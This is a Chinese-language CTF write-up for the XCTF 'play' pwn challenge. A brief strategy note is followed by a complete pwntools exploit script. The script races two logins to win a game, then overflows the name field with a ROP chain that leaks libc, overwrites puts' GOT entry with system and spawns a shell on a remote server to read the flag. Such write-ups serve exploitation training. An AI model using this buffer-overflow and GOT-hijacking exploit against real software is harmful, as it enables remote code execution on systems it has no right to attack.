




[XCTF-pwn] 37_xctf-4th-CyberEarth_play

原创

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订阅专栏

又买一个, 实在是代码太我看不明白了。

解题思路:

用同一个用户登录两次, 选择不同的攻击方式, 直到成功。

成功后, 输入名字的地方有溢出, 在这里写入rop:泄露, 修改got.puts为system, 再调用puts(/bin/sh)

验证后的exp:

```
from pwn import *

...

patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_i386/ld-2.23-i386-0ubuntu11.so pwn
patchelf --add-needed /home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so pwn
...

local = 0
if local == 1:
    p1 = process('./pwn')
    p2 = process('./pwn')
else:
    p1 = remote('111.200.241.244', 54004)
    p2 = remote('111.200.241.244', 54004)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')

def change_skill(p, way):
    p.sendlineafter(b"choice>> ", b'3')
    p.sendlineafter(b"choice>> ", str(way).encode())

def attack(p):
    p.sendlineafter(b"choice>> ", b'1')

def hide(p, yesorno):
    p.sendlineafter(b"use hidden_methods?(1:yes/0:no):", str(yesorno).encode())

def god_attack():
    change_skill(p1, 3)
    attack(p1)
    change_skill(p2, 1)
```

```

hide(p1, 1)

p1.sendlineafter(b"login:", b'AAA')
p2.sendlineafter(b"login:", b'AAA')

while True:
    god_attack()
    data = p1.recvline()
    if b'you win' in data:
        data = p1.recvline()
        if b"we will remember you forever!" in data:
            break

print('sss')

pop1_ret = 0x080485d5 # pop ebx ; ret
pop2_ret = 0x0804934a # pop edi ; pop ebp ; ret

payload = b'A'*(0x48+4) + flat(elf.plt['puts'], pop1_ret, elf.got['puts'], #puts(got.puts)
                             elf.plt['gets'], pop1_ret, elf.got['puts'], #gets(got.puts)
                             elf.plt['puts'], pop1_ret, elf.got['puts']+4) #puts:system(/bin/sh)

p1.sendlineafter(b"what's your name:", payload)
p1.recvline()
libc_base = u32(p1.recv(4)) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

p1.sendline(p32(libc_elf.sym['system'])+ b'/bin/sh\x00')

p1.sendline(b'cat /home/ctf/flag')
p1.interactive()

```



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